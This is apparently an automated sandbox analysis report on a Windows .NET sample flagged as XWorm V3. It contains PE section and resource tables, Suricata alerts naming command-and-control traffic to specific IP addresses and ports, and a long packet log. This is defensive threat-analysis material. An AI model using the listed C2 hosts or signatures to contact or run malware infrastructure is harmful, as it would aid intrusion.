IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x66fc	0x6800	e80ab5cd50f52639776c8124c7d32253	False	0.5823692908653846	data	5.993393915931155	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x5cf68	0x5d000	738a8b596ab417fd4908d49b16383d65	False	0.9984774025537635	data	7.999155027983874	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
M4LWARE	0xa110	0x5ca18	data	1.0003320893162122
RT_VERSION	0x66b28	0x254	data	0.45805369127516776
RT_MANIFEST	0x66d7c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-05T14:01:29.905593+0100	2859226	ETPRO MALWARE Win32/XWorm V3 CnC Command - sendPlugin Outbound	1	192.168.2.6	49734	69.174.100.131	7000	TCP
2024-12-05T14:01:36.055379+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49755	158.101.44.242	80	TCP
2024-12-05T14:01:38.711666+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49755	158.101.44.242	80	TCP
2024-12-05T14:01:38.729826+0100	2859221	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.6	49734	69.174.100.131	7000	TCP
2024-12-05T14:01:40.349673+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49771	104.21.67.152	443	TCP
2024-12-05T14:01:41.852294+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49778	158.101.44.242	80	TCP
2024-12-05T14:01:43.413215+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49780	104.21.67.152	443	TCP
2024-12-05T14:01:44.089879+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:01:44.089879+0100	2859222	ETPRO MALWARE Win32/XWorm CnC Command - Ping Inbound	1	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:01:45.203991+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49789	158.101.44.242	80	TCP
2024-12-05T14:01:48.262691+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49799	158.101.44.242	80	TCP
2024-12-05T14:02:14.081161+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:02:44.159876+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:02:44.436053+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:03:13.212041+0100	2859220	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.6	49734	69.174.100.131	7000	TCP
2024-12-05T14:03:14.092168+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:03:44.077037+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:04:14.079092+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:04:44.905428+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	69.174.100.131	7000	192.168.2.6	49734	TCP
2024-12-05T14:05:14.081943+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	69.174.100.131	7000	192.168.2.6	49734	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2024 14:01:02.322586060 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.322676897 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.322738886 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.326838970 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.327011108 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.327060938 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.335623026 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.335777998 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.335859060 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.343966961 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.344158888 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.344213009 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.352638006 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.352696896 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.352778912 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.369772911 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.369823933 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.370187044 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.370227098 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.370312929 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.370481014 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.370493889 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.489547014 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.489619970 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.489655018 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.489672899 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.489814043 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.885828972 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.886071920 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.886143923 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.889930010 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.891597033 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.891642094 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.891669035 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.899996996 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.900064945 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.900127888 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.908540010 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.908586979 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.908643961 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.917162895 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.917212963 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:02.917229891 CET	443	49706	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:02.961586952 CET	49706	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:03.758538961 CET	49674	443	192.168.2.6	173.222.162.64
Dec 5, 2024 14:01:03.758543015 CET	49673	443	192.168.2.6	173.222.162.64
Dec 5, 2024 14:01:04.086692095 CET	49672	443	192.168.2.6	173.222.162.64
Dec 5, 2024 14:01:04.144124031 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.144263029 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:04.183481932 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:04.183500051 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.183809042 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.187529087 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:04.187578917 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:04.187623024 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.842833996 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.842871904 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.842919111 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.842945099 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:04.842968941 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.842998028 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:04.843846083 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:04.843863010 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:04.844065905 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.844095945 CET	443	49708	20.190.177.147	192.168.2.6
Dec 5, 2024 14:01:04.844136000 CET	49708	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:01:13.367860079 CET	49674	443	192.168.2.6	173.222.162.64
Dec 5, 2024 14:01:13.367861032 CET	49673	443	192.168.2.6	173.222.162.64
Dec 5, 2024 14:01:13.693272114 CET	49672	443	192.168.2.6	173.222.162.64
Dec 5, 2024 14:01:14.913453102 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:14.913492918 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:14.917615891 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:14.918294907 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:14.918311119 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:16.084919930 CET	443	49703	173.222.162.64	192.168.2.6
Dec 5, 2024 14:01:16.085027933 CET	49703	443	192.168.2.6	173.222.162.64
Dec 5, 2024 14:01:16.641541004 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:16.641653061 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:16.646917105 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:16.646924973 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:16.647176981 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:16.661660910 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:16.703337908 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.207581997 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.207603931 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.207612038 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.207621098 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.207637072 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.207717896 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.207717896 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.207734108 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.207787037 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.403223038 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.403250933 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.403338909 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.403354883 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.403403997 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.454832077 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.454853058 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.454907894 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.454926968 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.454946995 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.454998016 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.574982882 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.575005054 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.575062990 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.575074911 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.575108051 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.575217009 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.613498926 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.613524914 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.613598108 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.613612890 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.613642931 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.613687038 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.636895895 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.636924982 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.636962891 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.636970997 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.637000084 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.637053967 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.654915094 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.654934883 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.655003071 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.655011892 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.655082941 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.759594917 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.759624004 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.759715080 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.759733915 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.759784937 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.777833939 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.777861118 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.777929068 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.777930021 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.777940035 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.777996063 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.793489933 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.793507099 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.793605089 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.793622017 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.793682098 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.806731939 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.806751013 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.806849957 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.806858063 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.806906939 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.821567059 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.821584940 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.821649075 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.821656942 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.821686029 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.821716070 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.821736097 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.825573921 CET	49715	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.825592995 CET	443	49715	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.885885000 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.885927916 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.886085033 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.886620045 CET	49718	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.886676073 CET	443	49718	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.886733055 CET	49718	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.887830019 CET	49719	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.887840033 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.887908936 CET	49719	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.888175011 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.888237953 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.888484001 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.888971090 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.888986111 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.889133930 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.889147043 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.889384985 CET	49718	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.889400005 CET	443	49718	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.889869928 CET	49719	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.889883041 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.890347004 CET	49721	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.890371084 CET	443	49721	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:17.890427113 CET	49721	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.890587091 CET	49721	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:17.890605927 CET	443	49721	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.633729935 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.633734941 CET	443	49721	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.634341002 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.634510994 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.634561062 CET	443	49718	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.634960890 CET	49719	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.634989023 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.635332108 CET	49718	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.635341883 CET	443	49718	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.635885000 CET	49718	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.635890007 CET	443	49718	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.636173964 CET	49719	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.636179924 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.636293888 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.636320114 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.636419058 CET	49721	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.636437893 CET	443	49721	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.636853933 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.636861086 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.636893034 CET	49721	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.636898994 CET	443	49721	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.637327909 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.637336016 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:19.637765884 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:19.637770891 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.067955017 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.067970037 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.068021059 CET	49719	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.068043947 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.069014072 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.069067955 CET	49719	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.070364952 CET	443	49718	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.070427895 CET	443	49718	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.070491076 CET	49718	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.070586920 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.070605993 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.070666075 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.070683956 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.070719004 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.071635962 CET	443	49721	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.071693897 CET	443	49721	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.071743965 CET	49721	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.075067043 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.075095892 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.075158119 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.075185061 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.075225115 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.076769114 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.076814890 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.076850891 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.078522921 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.078573942 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.078617096 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.084367037 CET	49719	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.084384918 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.084395885 CET	49719	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.084402084 CET	443	49719	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.085645914 CET	49721	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.085675955 CET	443	49721	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.085700035 CET	49721	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.085706949 CET	443	49721	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.088754892 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.088772058 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.088782072 CET	49720	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.088787079 CET	443	49720	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.090538979 CET	49718	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.090538979 CET	49718	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.090562105 CET	443	49718	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.090579033 CET	443	49718	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.091867924 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.091873884 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.091886997 CET	49717	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.091891050 CET	443	49717	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.094825029 CET	49722	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.094854116 CET	443	49722	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.094914913 CET	49722	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.096585989 CET	49723	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.096616030 CET	443	49723	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.096678019 CET	49723	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.097681046 CET	49722	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.097692966 CET	443	49722	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.098359108 CET	49723	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.098376036 CET	443	49723	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.098474979 CET	49724	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.098509073 CET	443	49724	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.098566055 CET	49724	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.098756075 CET	49724	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.098769903 CET	443	49724	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.099652052 CET	49725	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.099678993 CET	443	49725	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.099741936 CET	49725	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.099879980 CET	49725	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.099895954 CET	443	49725	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.100132942 CET	49726	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.100142002 CET	443	49726	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:20.100191116 CET	49726	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.100780010 CET	49726	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:20.100786924 CET	443	49726	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.660298109 CET	443	49722	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.661034107 CET	49722	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.661056042 CET	443	49722	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.661628008 CET	49722	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:21.661633015 CET	443	49722	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.856905937 CET	443	49723	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:21.857119083 CET	443	49725	13.107.246.63	192.168.2.6
